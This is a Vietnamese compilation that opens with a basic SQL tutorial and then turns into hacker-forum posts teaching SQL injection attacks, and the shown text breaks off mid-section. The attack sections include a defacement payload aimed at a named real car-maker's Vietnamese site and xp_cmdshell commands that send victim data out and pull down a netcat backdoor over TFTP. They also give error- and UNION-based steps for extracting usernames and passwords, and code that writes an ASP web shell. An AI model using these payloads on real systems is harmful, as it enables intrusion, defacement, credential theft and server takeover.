| Sega      | 3412        |
| ABC Shop  | 5678        |
| W3Schools | 2312        |
| W3Schools | 6798        |

Ví dụ:

Để lấy danh sách các công ty theo thứ tự chữ cái (tăng dần):

```
SELECT Company, OrderNumber FROM Orders
```

```
ORDER BY Company
```

Kết quả trả về:

| Company   | OrderNumber |
|-----------|-------------|
| ABC Shop  | 5678        |
| Sega      | 3412        |
| W3Schools | 6798        |
| W3Schools | 2312        |

Ví dụ:

Lấy danh sách các công ty theo thứ tự chữ cái (tăng dần) và hoá đơn đặt hàng theo thứ tự số tăng dần:

```
SELECT Company, OrderNumber FROM Orders
```

```
ORDER BY Company, OrderNumber
```

Kết quả trả về:



Company OrderNumber

ABC Shop 5678

Sega 3412

W3Schools 2312

W3Schools 6798

Ví dụ:

Lấy danh sách các công ty theo thứ tự giảm dần:

```
SELECT Company, OrderNumber FROM Orders  
ORDER BY Company DESC
```

Kết quả trả về:

Company OrderNumber

W3Schools 6798

W3Schools 2312

Sega 3412

ABC Shop 5678

### **Câu lệnh INSERT INTO**

Câu lệnh INSERT INTO được dùng để chèn dòng mới vào bảng.

Cú pháp:

```
INSERT INTO tên_bảng
```

```
VALUES (giá_trị_1, giá_trị_2,...)
```

Bạn cũng có thể chỉ rõ các cột/trường nào cần chèn dữ liệu:

```
INSERT INTO tên_bảng (cột_1, cột_2,...)
```

```
VALUES (giá_trị_1, giá_trị_2,...)
```

Chèn 1 dòng mới

Ta có bảng Persons như sau:

| LastName  | FirstName | Address   | City      |
|-----------|-----------|-----------|-----------|
| Pettersen | Kari      | Storgt 20 | Stavanger |

Câu lệnh SQL sau:

```
INSERT INTO Persons  
VALUES ('Hetland', 'Camilla', 'Hagabakka 24', 'Sandnes')
```

sẽ tạo ra kết quả trong bảng Persons như sau:

| LastName  | FirstName | Address      | City      |
|-----------|-----------|--------------|-----------|
| Pettersen | Kari      | Storgt 20    | Stavanger |
| Hetland   | Camilla   | Hagabakka 24 | Stavanger |

Chèn dữ liệu vào các cột/trường cụ thể

Với bảng Persons như trên, câu lệnh SQL sau:

```
INSERT INTO Persons (LastName, Address)  
VALUES ('Rasmussen', 'Storgt 67')
```

Sẽ tạo ra kết quả:

| LastName  | FirstName | Address      | City      |
|-----------|-----------|--------------|-----------|
| Pettersen | Kari      | Storgt 20    | Stavanger |
| Hetland   | Camilla   | Hagabakka 24 | Stavanger |
| Rasmussen |           | Storgt 67    |           |

## Câu lệnh UPDATE

Câu lệnh UPDATE được sử dụng để cập nhật/sửa đổi dữ liệu đã có trong bảng.

Cú pháp:

```
UPDATE tên_bảng  
SET tên_cột = giá_trị_mới  
WHERE tên_cột = giá_trị
```

Ví dụ: bảng Person của ta như sau:

| LastName  | FirstName | Address    | City      |
|-----------|-----------|------------|-----------|
| Nilsen    | Fred      | Kirkegt 56 | Stavanger |
| Rasmussen |           | Storgt 67  |           |

Cập nhật 1 cột trên 1 dòng

Giả sử ta muốn bổ xung thêm phần tên cho người có họ là Rasmussen:

```
UPDATE Person SET FirstName = 'Nina'  
WHERE LastName = 'Rasmussen'
```

Ta sẽ có kết quả như sau:

| LastName  | FirstName | Address    | City      |
|-----------|-----------|------------|-----------|
| Nilsen    | Fred      | Kirkegt 56 | Stavanger |
| Rasmussen | Nina      | Storgt 67  |           |

Cập nhật nhiều cột trên 1 dòng

Bây giờ ta lại muốn đổi tên và địa chỉ:

UPDATE Person

SET Address = 'Stien 12', City = 'Stavanger'

WHERE LastName = 'Rasmussen'

Kết quả sẽ là:

LastName FirstName Address City

Nilsen Fred Kirkegt 56 Stavanger

Rasmussen Nina Stien 12 Stavanger

-----

### **Câu lệnh DELETE**

được dùng để xoá các dòng ra khỏi bảng.

Cú pháp:

DELETE FROM tên\_bảng

WHERE tên\_cột = giá\_trị

Ví dụ: Bảng Person của ta như sau:

LastName FirstName Address City

Nilsen Fred Kirkegt 56 Stavanger

Rasmussen Nina Stien 12 Stavanger

Xoá 1 dòng:

Ta xoá người có tên là Nina Rasmussen:

DELETE FROM Person WHERE LastName = 'Rasmussen'

Kết quả sau khi xoá:

LastName FirstName Address City

Nilsen Fred Kirkegt 56 Stavanger

Xoá tất cả các dòng:

Đôi khi ta muốn xoá tất cả dữ liệu trong bảng nhưng vẫn giữ lại bảng cùng với cấu trúc và tất cả các thuộc tính của bảng, ta có thể dùng câu lệnh:

```
DELETE FROM table_name
```

hoặc

```
DELETE * FROM table_name
```

SQL có sẵn lệnh để đếm các dòng trong CSDL.

### **Cú pháp của hàm COUNT:**

```
SELECT COUNT(tên_cột) FROM tên_bảng
```

Hàm COUNT(\*):

Hàm COUNT(\*) trả về số lượng các dòng được chọn ở trong bảng.

Ví dụ ta có bảng Persons như sau:

Name Age

Hansen, Ola 34

Svendson, Tove 45

Pettersen, Kari 19

Câu lệnh sau sẽ trả về số lượng các dòng trong bảng:

```
SELECT COUNT(*) FROM Persons
```

và kết quả trả về sẽ là:

3

Câu lệnh sau sẽ trả về số lượng những người lớn hơn 20 tuổi:

```
SELECT COUNT(*) FROM Persons WHERE Age > 20
```

kết quả trả về sẽ là:

2

Hàm COUNT(column):

Hàm COUNT(column) sẽ trả về số lượng các dòng có giá trị khác NULL ở cột được chỉ định.

Ví dụ ta có bảng Persons như sau:

| Name | Age |
|------|-----|
|------|-----|

|             |    |
|-------------|----|
| Hansen, Ola | 34 |
|-------------|----|

|                |    |
|----------------|----|
| Svendson, Tove | 45 |
|----------------|----|

|                 |  |
|-----------------|--|
| Pettersen, Kari |  |
|-----------------|--|

Câu lệnh sau sẽ trả về số lượng những người mà cột Age trong bảng không rỗng:

```
SELECT COUNT(Age) FROM Persons
```

và kết quả trả về sẽ là:

## Mệnh đề COUNT DISTINCT

Lưu ý: Các ví dụ dưới đây chỉ hoạt động với CSDL Oracle và MS SQL Server, không hoạt động trên MS Access (chưa thử nghiệm với các hệ CSDL khác!)

Từ khoá DISTINCT và COUNT có thể được dùng chung với nhau để đếm số lượng các kết quả không trùng nhau.

Cú pháp như sau:

```
SELECT COUNT(DISTINCT column(s)) FROM table
```

Ví dụ ta có bảng Orders như sau:

| Company   | OrderNumber |
|-----------|-------------|
| Sega      | 3412        |
| W3Schools | 2312        |
| Trio      | 4678        |
| W3Schools | 6798        |

Câu lệnh SQL sau:

```
SELECT COUNT(DISTINCT Company) FROM Orders
```

sẽ trả về kết quả là:

## Hàm

**SQL có sẵn khá nhiều hàm để thực hiện đếm và tính toán.**

Cú pháp:

Cú pháp để gọi hàm trong câu lệnh SQL như sau:

```
SELECT function(tên_cột) FROM tên_bảng
```

Bảng dữ liệu chúng ta sẽ dùng trong các ví dụ tiếp theo:

| Name            | Age |
|-----------------|-----|
| Hansen, Ola     | 34  |
| Svendson, Tove  | 45  |
| Pettersen, Kari | 19  |

Hàm AVG(column)

Hàm AVG trả về giá trị trung bình tính theo cột được chỉ định của các dòng được chọn.

Các giá trị NULL sẽ không được xét đến khi tính giá trị trung bình.

Ví dụ:

Câu lệnh sau sẽ tính số tuổi trung bình của những người có tuổi trên 20:

```
SELECT AVG(Age) FROM Persons WHERE Age > 20
```

kết quả trả về sẽ là:

39.5



Hàm MAX(column)

Hàm MAX trả về giá trị lớn nhất trong cột. Các giá trị NULL sẽ không được xét đến.

Ví dụ:

```
SELECT MAX(Age) FROM Persons
```

kết quả trả về:

45

Hàm MIN(column)

Hàm MAX trả về giá trị nhỏ nhất trong cột. Các giá trị NULL sẽ không được xét đến.

Ví dụ:

```
SELECT MIN(Age) FROM Persons
```

kết quả trả về:

19

Lưu ý: Hàm MIN và MAX cũng có thể áp dụng cho các cột có dữ liệu là chuỗi văn bản.

Dữ liệu trong cột sẽ được so sánh theo thứ tự tăng dần của từ điển

Hàm SUM(column)

Hàm SUM trả về tổng giá trị của cột. Các giá trị NULL sẽ không được xét đến.

Ví dụ:

Tìm tổng số tuổi của tất cả những người có trong bảng:

```
SELECT SUM(Age) FROM Persons
```

kết quả trả về:

98

Ví dụ:

Tìm tổng số tuổi của tất cả những người có tuổi lớn hơn 20:

```
SELECT SUM(Age) FROM Persons WHERE Age > 20
```

kết quả trả về:

79

GROUP BY và HAVING

Các hàm tập hợp (ví dụ như SUM) thông thường cần thêm chức năng của mệnh đề GROUP BY.

GROUP BY...

Mệnh đề GROUP BY...được thêm vào SQL bởi vì các hàm tập hợp (như SUM) trả về một tập hợp của các giá trị trong cột mỗi khi chúng được gọi, và nếu không có GROUP BY ta không thể nào tính được tổng của các giá trị theo từng nhóm riêng lẻ trong cột.

Cú pháp của GROUP BY như sau:

SELECT tên\_cột, SUM(tên\_cột) FROM tên\_bảng GROUP BY tên\_cột

Ví dụ sử dụng GROUP BY:

Giả sử ta có bảng Sales như sau:

Company Amount

W3Schools 5500

IBM 4500

W3Schools 7100

Câu lệnh SQL sau:

SELECT Company, SUM(Amount) FROM Sales

sẽ trả về kết quả:

Company SUM(Amount)

W3Schools 17100

IBM 17100

W3Schools 17100

Kết quả trả về ở trên đôi khi không phải là cái mà ta mong đợi. Ta thêm mệnh đề

GROUP BY vào trong câu lệnh SQL:

SELECT Company, SUM(Amount) FROM Sales

GROUP BY Company

và kết quả trả về lần này sẽ là:

Company SUM(Amount)

W3Schools 12600

IBM 4500

Kết quả này đúng là cái mà ta mong muốn.

HAVING...

Mệnh đề HAVING...được thêm vào SQL vì mệnh đề WHERE không áp dụng được đối với các hàm tập hợp (như SUM). Nếu không có HAVING, ta không thể nào kiểm tra được điều kiện với các hàm tập hợp.

Cú pháp của HAVING như sau:

```
SELECT tên_cột, SUM(tên_cột) FROM tên_bảng  
GROUP BY tên_cột  
HAVING SUM(tên_cột) điều_kiện giá_trị
```

Ta sử dụng lại bảng Sales ở trên. Câu lệnh SQL sau:

```
SELECT Company, SUM(Amount) FROM Sales  
GROUP BY Company  
HAVING SUM(Amount) > 10000
```

sẽ trả về kết quả:

```
Company SUM(Amount)  
W3Schools 12600  
Bí danh
```

Với SQL, bí danh có thể được sử dụng cho tên của cột và tên của bảng.

Bí danh cột:

Cú pháp bí danh cột như sau:

SELECT tên\_cột AS bí\_danh\_cột FROM tên\_bảng

Bí danh bảng:

Bí danh bảng có cú pháp như sau:

SELECT tên\_cột FROM tên\_bảng AS bí\_danh\_bảng

Ví dụ sử dụng bí danh cột:

Ta có bảng Persons như sau:

| LastName  | FirstName | Address      | City      |
|-----------|-----------|--------------|-----------|
| Hansen    | Ola       | Timoteivn 10 | Sandnes   |
| Svendson  | Tove      | Borgvn 23    | Sandnes   |
| Pettersen | Kari      | Storgt 20    | Stavanger |

Câu lệnh SQL sau:

```
SELECT LastName AS Họ, FirstName AS Tên  
FROM Persons
```

Sẽ trả về kết quả:

| Họ        | Tên  |
|-----------|------|
| Hansen    | Ola  |
| Svendson  | Tove |
| Pettersen | Kari |

---

**DeFace bằng SQL injection, Cơ bản**

(by sinhev)

## FOR NEWBIE

Hihi em xin tiếp tục, bài này vẫn là cơ bản cho newbie, còn cao siêu hơn thì em chịu. Ở đây em xin mạn phép lấy thằng Ford ra làm victim. Mục đích của bài này là sử dụng các câu lệnh update, insert, drop, delete... trong SQL để deface.

Tạo 1 file có nội dung như sau:

```
<body>
<form method="post"
action="https://www.ford.com.vn/Tuyendung/Jobs_Search_Action.asp"
name="frmSearch" onsubmit="return CheckSubmit();">
TIM KIEM <input name="txtSearch" size="40" class="clsText" type="text" size=2>
</br>
DIA DIEM <input type="text" name="SLocation" class="clsText" value="22"></br>
JOB <input type="text" name="SJobCategory" class="clsText" value=""> </br>
<input type="submit" value="tim kiem"></br>
</form>
</body>
```

Save as lại thành file xx.html, sau đó run như sau

TIM KIEM: xxx

DIA DIEM: 22

JOB: 1' SQL command --

Trong database của nó có table Fordvn\_news với các column

MessageId', 'Status', 'Priority', 'Subject', 'Lead',  
'Img', 'Posted', 'Edited', 'Published', 'FromIp', 'Body', 'ReadCount'

Tương ứng với trang news của nó

<https://www.ford.com.vn/News/News.asp>

Ở đây em xin chọn cái subject để deface với messageid=146

Roài:

đây là các câu lệnh cần biết

Insert into user ("id", "pas") values (1, "xxx")-- /\*thêm 1 user xxx vào table user \*/

update user set pass="xxxx" where id=1-- /thay đổi password của thằng user có id=1 \*/

drop table user-- /\*nguy hiểm, xóa table user \*/

drop database db-- /\*rất nguy hiểm/

delete from user where id=1-- /\*xóa column \*/

.....

Ở đây em dùng update

QUOTE

TIM KIEM: xxx

DIA DIEM: 22

JOB: 1' ;update fordvn\_news set subject='TEST' where messageid=146--

Nếu bạn nhận dc 1 thông báo như thế này thay vì 1 thông báo lỗi SQL thì thành công rồi đó

QUOTE

Không tìm được theo yêu cầu của bạn!

OK come on

<https://www.ford.com.vn/News/News.asp>

Bạn còn có thể làm dc nhiều thứ hơn tôi nữa, đây chỉ là VD thoai.

Good luck !!!

---

## Hack server bị SQL Injection

( Copyright by Windak )

( --Thanks bro Aclatinh and bro MRRO-- )

1) Tỷ lệ thành công 80%:

Điều kiện server phải là winnt và user dùng để inject là user có quyền dùng xp\_cmdshell (sa, dbo)

Để check bạn có thể làm sau đây trên inject link

[inject link]' %2b convert (int,(system\_user()))—

Nếu KQ là 'sa' hoặc 'dbo' có lẽ bạn có thể tấn công được rồi.

Nếu bạn có 'sa' hoặc 'dbo' nhưng mà admin lại không cho sử dụng cmdshell bạn hãy bật nó lên (bật thế nào tự tìm hiểu nhé )

Lưu ý : bạn sẽ chỉ hack được vào server chứa database của nó thôi (nhiều khi đặt database chung với host )

Các tool cần thiết : <-- tự tìm download

tftpd32 , backdoor

+++Một vài kinh nghiệm hack, biết lệnh DOS và một chút hiểu biết về network

## 2) Từng bước tiếp cận

### a) Các khái niệm:

Lưu ý : Cách hack này của tôi không phải là một chung nhất, bởi vì còn rất nhiều cách khác, cách này của tôi hack thông qua giao thức TFTP.

Nói sơ về giao thức TFTP :

Đó là một giao thức truyền file server<->client . Nó hoạt động tương tự như FTP nhưng đơn giản hơn nhiều , thông qua port 69, và một ưu điểm, nó không cần password (đây là điều quan trọng để ta hack)

Vào DOS gõ tftp /? -> Bạn sẽ được cú pháp của nó như sau :

TFTP [-i] host PUT || GET filename [vị trí file muốn gửi đến]

-i : nếu bạn cần truyền một file dạng binary hãy sử dụng nó

host : IP của máy server

PUT : nếu bạn muốn send file

GET : nếu bạn muốn lấy file

Ví dụ về một lệnh tftp :

```
Tftp -i xxx.xxx.xxx.xxx PUT netcat.exe C:\nc.exe
```

Sẽ lấy file netcat.exe trên máy server (máy có IP xxx....) và chuyển vào C:\nc.exe trên máy client (máy đã gõ lệnh trên)

Bây giờ ta sẽ test trực tiếp trên localhost. bạn hãy mở tftpd32 lên để biến máy mình thành một server tftp (lưu ý phải tắt hết firewall giao thức mới thực hiện tốt)

Trong tftpd32 có phần BASE directory mặc định là [path to]\tftpd32e, nó sẽ là thư mục đặt các file up hoặc download của bạn khi thực hiện trao đổi file với client (vì bạn là server) (bạn có thể change nếu thích).

Trong bài này tôi dùng [link] thay cho link các bạn inject, hãy chỉnh lại cho phù hợp để run exec (thêm ('), ( nếu cần )



Và dùng <IP> để thay cho Ip của các bạn (nó sẽ hiển thị khi các bạn bật tftpd32)

Tấn công thực sự:

-----BEGIN-----

Command1 : RUN COMMAND DOS trên máy victim :

[link] exec master..xp\_cmdshell '[command]'

Command 2 : DOWNLOAD FILE từ máy victim

[link] exec master..xp\_cmdshell 'tftp <IP> PUT [path][filecandown]'

Ví dụ : Lấy Ip máy victim :

(1)[link] exec master..xp\_cmdshell 'ipconfig > a.txt'

(2)[link] exec master..xp\_cmdshell 'tftp <IP> PUT a.txt'

----Giải thích :

(1) : run lệnh này : ipconfig >a.txt <=> tạo file a.txt với nội dung là kết quả của lệnh ipconfig

(2) : run tftp <IP> PUT a.txt <=> chuyển file a.txt với nội dung vừa tạo --> server (máy chúng ta )

Command3 : UPLOAD BACKDOOR lên máy victim :

[link] exec master..xp\_cmdshell 'tftp [-i] <IP> GET backdoor [path muon backdoor được đặt]'

ví dụ : upload netcat vào C:\WINNT:

[link] exec master..xp\_cmdshell 'tftp -i <IP> GET nc.exe C:\WINNT\nx.exe'

-----END-----

3) Kết:

Như vậy chúng ta đã biết cách run command (bạn có thể run file exe) , biết down, up file, hầu như đã làm chủ được server rồi đấy . Còn hack nhanh hay chậm, hiệu quả bao nhiêu là do bạn

( Nếu test thấy lỗi gì xin liên hệ  
<http://shacker.computed.net/baivet/nangcao/windak88@yahoo.com> )

Chúc hack vui

---

## Hack Sql Inject nâng cao

Các bạn thử xem một câu truy vấn SQL:

select id, forename, surname from authors thì 'id','forename' và 'surname' là column của table author, khi câu truy vấn trên làm việc thì nó sẽ cho kết quả tất cả các dòng trong table author. Xem câu truy vấn sau:

```
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
```

Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết, nó cho ra kết quả tất cả những ai trong csdl với forename = 'john' and surname = 'smith'

Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu:

Forename: jo'hn

Surname: smith

Câu truy vấn trở thành:

```
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
```

Câu truy vấn trên khi được xử lý thì nó sẽ phát sinh lỗi:

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'hn'.

Lý do là ta lồng vào dấu nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lỗi lợi dụng cái này attacker có thể xóa dữ liệu của bạn như sau:

Forename: jo'; drop table authors--

Table author sẽ bị xóa -> nguy hiểm phải không

Nhìn vào đoạn code asp sau: đây là một form login

```
<HTML>
```

```
<HEAD>
```

```
<TITLE>Login Page</TITLE>
```

```
</HEAD>
```

```
<BODY bgcolor='000000' text='cccccc'>
```

```
<FONT Face='tahoma' color='cccccc'>
```

```
<CENTER><H1>Login</H1>
```

```
<FORM action='process_login.asp' method=post>
```

```
<TABLE>
```

```
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
```

Page 4

```
width=100></INPUT></TD></TR>
```

```
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
```

```
width=100></INPUT></TD></TR>
```

```
</TABLE>
```

```
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
```

```
</FORM>
```

```
</FONT>
```

```
</BODY>
```

```
</HTML>
```

Đây là code 'process\_login.asp'

```
<HTML>
```

```
<BODY bgcolor='000000' text='ffffff'>
```

```
<FONT Face='tahoma' color='ffffff'>
```

```
<STYLE>
```

```
p { font-size=20pt ! important}
```

```
font { font-size=20pt ! important}
```

```
h1 { font-size=64pt ! important}
```

```
</STYLE>
```

```
<%@LANGUAGE = JScript %>
```

```
<%
```

```
function trace( str )
```

```
{
```

```
if( Request.form("debug") == "true" )
```

```
Response.write( str );
```

```
}
```

```
function Login( cn )
```

```
{
```

```
var username;
```

```
var password;
```

```
username = Request.form("username");
```

```
password = Request.form("password");
```

```
var rso = Server.CreateObject("ADODB.Recordset");
```

```
var sql = "select * from users where username = '" + username + '"
```

```

and password = "" + password + "";

trace( "query: " + sql );

rso.open( sql, cn );

if (rso.EOF)

{

rso.close();

%>

<FONT Face='tahoma' color='cc0000'>

<H1>

<BR><BR>

<CENTER>ACCESS DENIED</CENTER>

</H1>

</BODY>

</HTML>

<%

Response.end

return;

}

else

{

Session("username") = "" + rso("username");

%>

<FONT Face='tahoma' color='00cc00'>

<H1>

<CENTER>ACCESS GRANTED<BR>

<BR>

```

Welcome,

```
<% Response.write(rso("Username"));
```

```
Response.write( "</BODY></HTML>" );
```

```
Response.end
```

```
}
```

```
}
```

```
function Main()
```

```
{
```

```
//Set up connection
```

```
var username
```

```
var cn = Server.createobject( "ADODB.Connection" );
```

```
cn.connectiontimeout = 20;
```

```
cn.open( "localhost", "sa", "password" );
```

```
username = new String( Request.form("username" ) );
```

```
if( username.length > 0)
```

```
{
```

```
Login( cn );
```

```
}
```

```
cn.close();
```

```
}
```

```
Main();
```

```
%>
```

Đây là câu truy vấn SQL:

```
var sql = "select * from users where username = '" + username + "'and password = '" +  
password + "'";
```

nếu hacker vào như sau:

Username: '; drop table users--

Password:

thì table 'user; sẽ bị xóa, và ta có thể vượt qua bằng cách sau: bypass các bạn biết hết rồi  
tôi không nói lại nữa - ( Bạn tham khảo lại **Căn bản hack 1 website bị lỗi SQL Injection** )

Ở trường username hacker có thể vào như sau:

Username: ' union select 1, 'fictional\_user', 'some\_password', 1--

ví dụ table user được tạo như sau:

```
create table users( id int,  
username varchar(255),  
password varchar(255),  
privs int  
)
```

và insert vào:

```
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
```

```
insert into users values( 0, 'guest', 'guest', 0x0000 )
```

```
insert into users values( 0, 'chris', 'password', 0x00ff )
```

```
insert into users values( 0, 'fred', 'sesame', 0x00ff )
```

Các hacker sẽ biết được kết quả các column và table qua câu truy vấn having 1=1

```
Username: ' having 1=1--
```

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

/process\_login.asp, line 35

Tiếp tục lấy các cái còn lại:

```
Username: ' group by users.id having 1=1--
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'

is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause.

/process\_login.asp, line 35

>> biết được column 'username'

```
' group by users.id, users.username, users.password, users.privs having 1=1--
```



Cho đến khi không còn báo lỗi thì dừng lại , vậy là bạn đã biết table và column cần khai thác rồi, bây giờ đến đi lấy giá trị của nó:

Để xác định nội dung của column ta dùng hàm sum()

Username: ' union select sum(username) from users--

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

aggregate operation cannot take a varchar data type as an argument.

/process\_login.asp, line 35

Giá trị của username là varchar, không nói các bạn cũng biết lý do, còn dùng với id thì sao nhỉ:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

statement containing a UNION operator must have an equal number of

expressions in their target lists.

/process\_login.asp, line 35

Vậy là ta có thể insert vào csdl:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)--

Lấy Version của server:

Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright © 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.

/process\_login.asp, line 35

có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dung của các user trong table như sau:

Username: ' union select min(username),1,1,1 from users where username > 'a'--

Chọn giá trị nhỏ nhất của username và cho nó lớn hơn 'a' -> phát sinh lỗi:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

/process\_login.asp, line 35

Vậy là ta biết 'admin' acc tồn tại,tiếp tục xem sao:

Username: ' union select min(username),1,1,1 from users where username 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

/process\_login.asp, line 35

Vậy là khi có username -> lấy pass:

Username: ' union select password,1,1,1 from users where username ='admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

/process\_login.asp, line 35

Đây là kỹ thuật mà bạn có thể lấy được user một cách cao cấp:

Tạo một script như sau:

```
begin declare @ret varchar(8000)
set @ret='.'
select @ret=@ret+' '+username+'/' +password from users where
username>@ret
select @ret as ret into foo
end
```

->câu truy vấn:

```
Username: '; begin declare @ret varchar(8000) set @ret='.' select
@ret=@ret+' '+username+'/' +password from users where username>@ret
select @ret as ret into foo end--
```

Tạo một table 'foo' với một column là 'ret'

Tiếp tục:

Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value ': admin/r00tr0x! guest/guest chris/password

fred/sesame' to a column of data type int.

/process\_login.asp, line 35

(Hình như mrro dùng kiểu này vào VDC)

Xoá dấu vết:

Username: '; drop table foo--

Một hacker khi điều khiển được csdl thì họ muốn xa hơn đó là điều khiển hệ thống mạng của server đó luôn, một trong số cách đó:

1-Sử dụng xp\_cmdshell khi đã có quyền 'sa'

2-Sử dụng xp\_regread để đọc register, bao gồm SAM

3-Chạy link query trên server

4-Tạo script trên server để khai thác

5-Sử dụng 'bulk insert' để đọc bất cứ file nào trên hệ thống

6-Sử dụng bcp để tạo quyền cho text file trên server

7-Sử dụng sp\_OACreate, sp\_OAMethod and sp\_OAGetProperty để tạo script (ActiveX) chạy trên server

[xp\_cmdshell]

Chắc các bạn cũng nghe nhiều rồi ví dụ:

```
exec master..xp_cmdshell 'dir'
```

```
exec master..xp_cmdshell 'net1 user'
```

Sử dụng để thi hành các lệnh của dos vvv.. rất hữu hiệu

[xp\_regread]

Các hàm liên quan...

xp\_regaddmultistring

xp\_regdeletekey

xp\_regdeletevalue

xp\_regenumkeys

xp\_regenumvalues

xp\_regread

xp\_regremovemultistring

xp\_regwrite

Ví dụ:

```
exec xp_regread HKEY_LOCAL_MACHINE,
```

```
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'
```

Xác định null-session share có tồn tại trên server

```
exec xp_regenumvalues  
HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\val  
idcommunities'
```

v...v.. còn nhiều thứ nữa

[Other Extended Stored Procedures]

services:

```
exec master..xp_servicecontrol 'start', 'schedule'
```

```
exec master..xp_servicecontrol 'start', 'server'
```

>ngó qua cũng biết nó làm gì...

[Importing text files into tables]

Sử dụng 'bulk insert' để chèn text file vào thư mục hiện thời, tạo table đơn:

```
create table foo( line varchar(8000) )
```

tiếp tục:

```
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
```

[Creating Text Files using BCP]

VD:

```
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -  
Slocalhost -Usa -Pfoobar
```

[ActiveX automation scripts in SQL Server]

Dùng 'wscript.shell'

vd:

```
declare @o int  
exec sp_oacreate 'wscript.shell', @o out  
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
```

Tren câu truy vấn:

```
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod  
@o, 'run', NULL, 'notepad.exe'--
```

Dùng 'scripting.filesystemobject' để đọc file:

```
declare @o int, @f int, @t int, @ret int  
declare @line varchar(8000)  
exec sp_oacreate 'scripting.filesystemobject', @o out  
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1  
exec @ret = sp_oamethod @f, 'readline', @line out  
while( @ret = 0 )  
begin  
print @line  
exec @ret = sp_oamethod @f, 'readline', @line out  
end
```

Tạo script ASP để thi hành command:

```

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out,

'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createObject("wscript.shell"): o.run(

request.querystring("cmd") ) %>'

```

Đây là những cách bạn có thể dùng rất hiệu quả, bạn hãy sáng tạo thêm cho mình từ những chỉ dẫn cơ bản này.

---

## Sql Inject – Mã lệnh

Tôi biết chắc rằng các bạn ở đây đa số chỉ biết SQL injection bypass login, hôm nay tớ xin mạn phép trình bày những kỹ thuật mà ta có thể làm nhiều điều hơn là chỉ vượt qua password của một trang bị SQL injection.

Lưu ý : Đa số kiến thức của tôi dưới đây chỉ dùng cho server chạy MySQL, MSSQL, còn những cái khác thì không chắc.... Nếu bạn chưa biết lệnh SQL thì không nên đọc bài này mà nên tham khảo nó trước, OKie ??? Tôi không muốn thấy những câu trả lời đại loại như --- "Tôi chẳng hiểu gì hết ", "Sài ở đâu thế" ,.....

1)Lấy tên table và column hiện hành:

Structure :

Login page (or any injection page):::

username: ' having 1=1--

KQ: -----

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.



-----  
----> Ta có được TABLE VICTIM

Tiếp tục

username: ' group by VICTIM.ID having 1=1--

KQ :-----

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.Vuser' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

-----  
Vậy là ta có column Vuser

2) UNION nhỏ mà hiệu quả

Vâng thưa các bạn, ta có thể dùng nó để lấy được gần như mọi thứ .

Trước hết tôi xin nói sơ qua cái Structure của nó :

Login page :::

username : ' Union select [column] from [table] where [column2=...]--

password : everything

Vd: Giả sử ta đã biết 2 column username và password trong table VTABLE của db victim là VUSER và VPASS thì ta làm như sau

username : ' Union select VPASS from VTABLE where VUSER='admin'-- (1)

password : everything

(1) : Trong trường hợp này admin là một user mà bạn biết nếu không có thể bỏ trống, nó sẽ cho bạn user đầu tiên

KQ:-----

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

-----

Nếu KQ ra như trên có nghĩa là bạn phải union thêm nhiều column nữa để tất cả column của table VTABLE được Union hết. Structure của nó như sau:

